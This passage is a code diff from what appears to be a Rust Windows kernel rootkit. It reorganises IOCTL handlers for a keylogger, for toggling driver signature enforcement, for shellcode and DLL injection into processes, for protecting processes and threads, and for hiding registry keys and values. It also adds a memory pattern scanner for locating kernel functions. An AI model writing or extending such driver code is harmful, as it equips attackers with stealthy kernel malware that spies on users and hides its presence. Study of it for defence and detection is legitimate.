-        ioctls.insert(IOCTL_RESTORE_CALLBACK, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_RESTORE_CALLBACK");
-            let status = unsafe { handle_callback!(stack, CallbackInfoInput, IOCTL_RESTORE_CALLBACK) };
-            unsafe { (*irp).IoStatus.Information = 0 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_ENABLE_DSE");
-            let status = unsafe { handle_driver!(stack, Driver::set_dse_state, DSE) };
-            unsafe { (*irp).IoStatus.Information = 0 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_KEYLOGGER");
-            let status = unsafe { handle_driver!(stack, set_keylogger_state, Keylogger) };
-            unsafe { (*irp).IoStatus.Information = 0 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_ENUMERATE_MODULE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_ENUMERATE_MODULE");
-            let mut information = 0;
-            let status = unsafe { handle_module!(irp, stack, Module::enumerate_module, TargetProcess, ModuleInfo, &mut information) };
-            unsafe { (*irp).IoStatus.Information = information as u64 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_INJECTION_SHELLCODE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_INJECTION_SHELLCODE_THREAD");
-            let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_thread, TargetInjection) };
-            unsafe { (*irp).IoStatus.Information = 0 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_INJECTION_SHELLCODE_APC, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_INJECTION_SHELLCODE_APC");
-            let status = unsafe { handle_injection!(stack, InjectionShellcode::injection_apc, TargetInjection) };
-            unsafe { (*irp).IoStatus.Information = 0 };
-            status
-        }) as IoctlHandler);
-
-        ioctls.insert(IOCTL_INJECTION_DLL_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-            log::info!("Received IOCTL_INJECTION_DLL_THREAD");
-            let status = unsafe { handle_injection!(stack, InjectionDLL::injection_dll_thread, TargetInjection) };
-            unsafe { (*irp).IoStatus.Information = 0 };
-            status
-        }) as IoctlHandler);
-
-        // If the feature is a mapper, these functionalities will not be added.
         #[cfg(not(feature = "mapper"))] {
-
-            ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-                log::info!("Received IOCTL_PROTECTION_PROCESS");
-                let status = unsafe { handle_process!(stack, add_remove_process_toggle, ProcessProtection) };
-                unsafe { (*irp).IoStatus.Information = size_of::<ProcessProtection> as u64 };
-                status
-            }) as IoctlHandler);
-            
-            ioctls.insert(IOCTL_PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-                log::info!("Received IOCTL_PROTECTION_THREAD");
-                let status = unsafe { handle_thread!(stack, add_remove_thread_toggle, ThreadProtection) };
-                unsafe { (*irp).IoStatus.Information = size_of::<TargetThread> as u64 };
-                status
-            }) as IoctlHandler);
-        
-            ioctls.insert(IOCTL_REGISTRY_PROTECTION_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-                log::info!("Received IOCTL_REGISTRY_PROTECTION_VALUE");
-                let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Protect) };
-                unsafe { (*irp).IoStatus.Information = 0 };
-                status
-            }) as IoctlHandler);
-            
-            ioctls.insert(IOCTL_REGISTRY_PROTECTION_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-                log::info!("Received IOCTL_REGISTRY_PROTECTION_KEY");
-                let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Protect) };
-                unsafe { (*irp).IoStatus.Information = 0 };
-                status
-            }) as IoctlHandler);
-
-            ioctls.insert(IOCTL_HIDE_UNHIDE_KEY, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-                log::info!("Received IOCTL_HIDE_UNHIDE_KEY");
-                let status = unsafe { handle_registry!(stack, Registry::add_remove_key_toggle, TargetRegistry, KeyListType::Hide) };
-                unsafe { (*irp).IoStatus.Information = 0 };
-                status
-            }) as IoctlHandler);
-
-            ioctls.insert(IOCTL_HIDE_UNHIDE_VALUE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
-                log::info!("Received IOCTL_HIDE_UNHIDE_VALUE");
-                let status = unsafe { handle_registry!(stack, Registry::add_remove_registry_toggle, TargetRegistry, KeyListType::Hide) };
-                unsafe { (*irp).IoStatus.Information = 0 };
-                status
-            }) as IoctlHandler);
+            get_registry_ioctls(&mut ioctls);
         }
-
+        
         ioctls
     };
 }

driver/src/utils/macros.rs

@@ -165,6 +165,7 @@ macro_rules! handle_module {
 macro_rules! handle_callback {
     ($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
         use shared::vars::Callbacks;
+        use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
 
         let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
             Ok(buffer) => buffer,
@@ -206,7 +207,8 @@ macro_rules! handle_callback {
     
     ($irp:expr, $type_:ty, $ioctl:expr) => {{
         use shared::vars::Callbacks;
-
+        use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
+        
         let input_buffer = match crate::utils::get_input_buffer::<$type_>($irp) {
             Ok(buffer) => buffer, 
             Err(status) => return status,

driver/src/utils/mod.rs

@@ -20,12 +20,13 @@ use {
     }, 
     obfstr::obfstr, 
     wdk_sys::{
-        ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap, *
+        ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap,
+        _POOL_TYPE::NonPagedPool, *
     }, 
     winapi::um::winnt::{
         RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, 
         IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
-    }, _POOL_TYPE::NonPagedPool,
+    },
 };
 
 #[cfg(not(test))]
@@ -415,6 +416,39 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
     None
 }
 
+/// Scans memory for a specific pattern of bytes in a specific section.
+/// # Parameters
+/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
+/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
+/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
+/// 
+/// # Returns
+/// - `Option<*const u8>`: The address of the target function if found.
+/// 
+pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
+    let dos_header = base_addr as *const IMAGE_DOS_HEADER;
+    let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
+    let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
+
+    for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
+        let section = (*section_header.add(i)).Name;
+        let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
+        
+        if name == section_name {
+            let section_start = base_addr + (*section_header.add(i)).VirtualAddress as usize;
+            let section_size = *(*section_header.add(i)).Misc.VirtualSize() as usize;
+            let data = core::slice::from_raw_parts(section_start as *const u8, section_size);
+
+            if let Some(offset) = data.windows(pattern.len()).position(|window| {
+                window.iter().zip(pattern).all(|(d, p)| *p == 0xCC || *d == *p)
+            }) {
+                return Some((section_start + offset) as *const u8);
+            }
+        }
+    }
+    None
+}
+
 /// Finds the address of a specified Zw function.
 /// 
 /// # Parameters